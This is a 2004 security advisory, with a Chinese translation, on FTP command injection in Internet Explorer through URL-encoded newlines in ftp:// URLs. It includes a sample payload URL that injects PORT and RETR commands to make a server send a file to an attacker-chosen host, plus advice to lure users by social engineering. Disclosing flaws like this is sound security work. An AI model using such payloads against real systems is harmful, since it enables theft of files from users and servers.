Internet Explorer FTP command injection

来源:互联网 发布:java 网格袋布局 编辑:程序博客网 时间:2024/05/16 06:46

itle:        Internet Explorer FTP command injection

Author:       Albert Puigsech Galicia - <ripe@7a69ezine.org>

Software:     Microsoft Internet Explorer

Versions:     >= 6.0.2800.1106

Remote:       yes

Exploit:      yes

Severity:     Low-Medium

- ------------------------------------------------------------------



I. Introduction.

Internet Explorer is a well-known HTTP browser, and like others it can use
more protocols, for example FTP. The security historial of this navigator is
really cool and we are glad for the excelent work done by Microsoft. We love
your (in)security features.


II. Description.

In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then
the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).

   USER ftpuser
   PASS ftppass
   CWD /directory/

The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.

   USER ftpuser
   PASS ftppass
   CWD /directory
   somecommand

The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.


III. Exploit

You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is to
download files. Its posible to do that using this URL;

    ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.


IV. Patch

Internet Explorer sucks a lot, just turn to Firefox World.


V. Timeline

01/12/2004  -  Bug discovered on konqueror browser
03/12/2004  -  Tried in IE. Also afected!
05/12/2004  -  Advisor released



VI. Extra data

You can find more 7a69ezine advisories on this following link:

    http://www.7a69ezine.org/avisos/propios [spanish info]

翻译:akey (比我勤快多了:)

2004年12月13日

标题: Internet Explorer FTP 命令渗透
作者: Albert Puigsech Galicia - <ripe@7a69ezine.org>
软件: Microsoft Internet Explorer
版本: 大于等于 6.0.2800.1106
远程: 可以
利用: 可以
损害程度: 低-中

- ------------------------------------------------------------------

1  介绍
Internet Explorer 是很有名的一个浏览器,像许多其它的浏览器一样,可以支持多协议,比如FTP文件传输协议。
关于此浏览器的安全历史纪录很低调,我们很高兴看到微软的出色工作,关于未来的安全工作值得我们放心。

2  描述
通过Internet Explorer访问FTP服务器,是在地址栏写下"ftp://ftpuser:ftppass@server/directory",然后浏览器就自动的执行了以下的命令(其它的命令过程不是很重要,所以省略):
 USER ftpuser
 PASS ftppass
 CWD /directory/
由此引发的安全问题是在地址栏内容后面添加 %0a 这个代码,然后跟上你的FTP渗入命令。
如果你这么做"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a"将会执行后面的代码。
 USER ftpuser
 PASS ftppass
 CWD /directory/
 somecommand
最后一行是错误的命令,但不成问题,因为"somecommand"已经被执行了。

3  利用
你可以用有效的用户名和密码去欺骗一个用户连接到你URL。呵呵!这个利用需要应用社会工程学。
这样你可以利用这个BUG做很多事情,比如建立和删除文件或者目录,但通常呢,最感兴趣的事情就是下载文件。
类似用下面的URL:
 ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
这样,服务端就可以连接到a,b,c,d机器上,使用的端口是e,f(关于这些端口参数请参阅FTP RFC文档),并且开始发送文件数据。

原创粉丝点击